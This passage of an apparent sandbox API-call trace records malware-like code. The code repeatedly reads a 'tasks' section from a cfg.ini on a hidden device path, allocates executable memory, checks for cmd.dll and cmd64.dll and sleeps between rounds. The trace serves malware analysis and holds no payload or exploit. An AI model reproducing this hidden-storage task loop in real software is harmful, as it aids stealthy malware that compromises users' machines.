0xfffffa8007ffba30 [0129.432] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.432] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.432] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.432] IdePortDispatch () returned 0x103 [0129.432] KeWaitForMutexObject () returned 0x0 [0129.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.433] KeLeaveCriticalRegion () [0129.433] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.433] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.433] KeEnterCriticalRegion () [0129.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.433] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.433] KeLeaveCriticalRegion () [0129.433] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.433] KeEnterCriticalRegion () [0129.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.433] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.433] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.433] KeLeaveCriticalRegion () [0129.433] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.433] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.433] KeEnterCriticalRegion () [0129.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.434] ExFreePoolWithTag (P=0xfffffa8003c04d60, Tag=0x0) [0129.434] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.434] KeLeaveCriticalRegion () [0129.434] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.434] ReleaseMutex (hMutex=0xf0) returned 1 [0129.434] Sleep (dwMilliseconds=0x927c0) [0129.449] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.449] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.449] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.449] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.449] KeEnterCriticalRegion () [0129.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.449] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.449] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.449] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.449] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.449] IdePortDispatch () returned 0x103 [0129.449] KeWaitForMutexObject () returned 0x0 [0129.449] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.449] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.449] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.449] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.449] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.450] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c045f0 [0129.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.450] KeLeaveCriticalRegion () [0129.450] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.450] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.450] KeEnterCriticalRegion () [0129.450] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.450] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.450] KeLeaveCriticalRegion () [0129.450] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.450] KeEnterCriticalRegion () [0129.450] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.450] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.450] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.450] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.450] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.450] IdePortDispatch () returned 0x103 [0129.450] KeWaitForMutexObject () returned 0x0 [0129.450] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.450] KeLeaveCriticalRegion () [0129.450] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.450] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.450] KeEnterCriticalRegion () [0129.450] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.450] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf4000 [0129.450] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.450] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.450] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.450] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.450] IdePortDispatch () returned 0x103 [0129.451] KeWaitForMutexObject () returned 0x0 [0129.451] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.451] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.451] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.451] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.451] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.451] IdePortDispatch () returned 0x103 [0129.451] KeWaitForMutexObject () returned 0x0 [0129.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.451] KeLeaveCriticalRegion () [0129.451] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.452] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.452] KeEnterCriticalRegion () [0129.452] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.452] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.452] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.452] KeLeaveCriticalRegion () [0129.452] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.452] KeEnterCriticalRegion () [0129.452] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.452] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.452] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c046b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.452] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.452] KeLeaveCriticalRegion () [0129.452] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.452] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.452] KeEnterCriticalRegion () [0129.452] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.452] ExFreePoolWithTag (P=0xfffffa8003c045f0, Tag=0x0) [0129.452] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.452] KeLeaveCriticalRegion () [0129.452] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.452] ReleaseMutex (hMutex=0xf0) returned 1 [0129.452] Sleep (dwMilliseconds=0x927c0) [0129.467] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.467] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.467] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.467] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.467] KeEnterCriticalRegion () [0129.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.467] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.467] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.467] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.467] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.467] IdePortDispatch () returned 0x103 [0129.467] KeWaitForMutexObject () returned 0x0 [0129.468] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.468] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.468] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.468] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.468] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.468] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e1f60 [0129.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.468] KeLeaveCriticalRegion () [0129.468] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.468] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.468] KeEnterCriticalRegion () [0129.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.468] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.468] KeLeaveCriticalRegion () [0129.468] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.468] KeEnterCriticalRegion () [0129.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.468] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.468] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.468] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.468] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.468] IdePortDispatch () returned 0x103 [0129.468] KeWaitForMutexObject () returned 0x0 [0129.468] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.468] KeLeaveCriticalRegion () [0129.468] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.468] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.468] KeEnterCriticalRegion () [0129.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.469] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf9000 [0129.469] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.469] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.469] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.469] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.469] IdePortDispatch () returned 0x103 [0129.469] KeWaitForMutexObject () returned 0x0 [0129.469] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.469] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.469] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.469] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.469] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.469] IdePortDispatch () returned 0x103 [0129.469] KeWaitForMutexObject () returned 0x0 [0129.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.469] KeLeaveCriticalRegion () [0129.469] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.470] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.470] KeEnterCriticalRegion () [0129.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.470] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.470] KeLeaveCriticalRegion () [0129.470] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.470] KeEnterCriticalRegion () [0129.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.470] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.470] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05bc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.470] KeLeaveCriticalRegion () [0129.470] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.470] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.470] KeEnterCriticalRegion () [0129.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.470] ExFreePoolWithTag (P=0xfffffa80037e1f60, Tag=0x0) [0129.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.470] KeLeaveCriticalRegion () [0129.470] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.470] ReleaseMutex (hMutex=0xf0) returned 1 [0129.470] Sleep (dwMilliseconds=0x927c0) [0129.486] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0129.486] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.486] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0129.486] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.486] KeEnterCriticalRegion () [0129.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.486] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0129.486] IdePortDispatch () returned 0x103 [0129.486] KeWaitForMutexObject () returned 0x0 [0129.487] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.487] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.487] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.487] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.487] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.487] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05ac0 [0129.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.487] KeLeaveCriticalRegion () [0129.487] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.487] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.487] KeEnterCriticalRegion () [0129.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.487] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.487] KeLeaveCriticalRegion () [0129.487] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.487] KeEnterCriticalRegion () [0129.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.487] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.487] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.487] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.487] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0129.487] IdePortDispatch () returned 0x103 [0129.487] KeWaitForMutexObject () returned 0x0 [0129.487] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.488] KeLeaveCriticalRegion () [0129.488] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.488] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.488] KeEnterCriticalRegion () [0129.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.488] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfe000 [0129.488] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.488] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.488] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.488] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.488] IdePortDispatch () returned 0x103 [0129.488] KeWaitForMutexObject () returned 0x0 [0129.488] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.488] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.488] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.488] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.488] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0129.488] IdePortDispatch () returned 0x103 [0129.488] KeWaitForMutexObject () returned 0x0 [0129.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.488] KeLeaveCriticalRegion () [0129.488] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.489] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.489] KeEnterCriticalRegion () [0129.489] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.489] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.489] KeLeaveCriticalRegion () [0129.489] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.489] KeEnterCriticalRegion () [0129.489] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.489] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.489] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05b80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.489] KeLeaveCriticalRegion () [0129.489] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.489] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.489] KeEnterCriticalRegion () [0129.489] 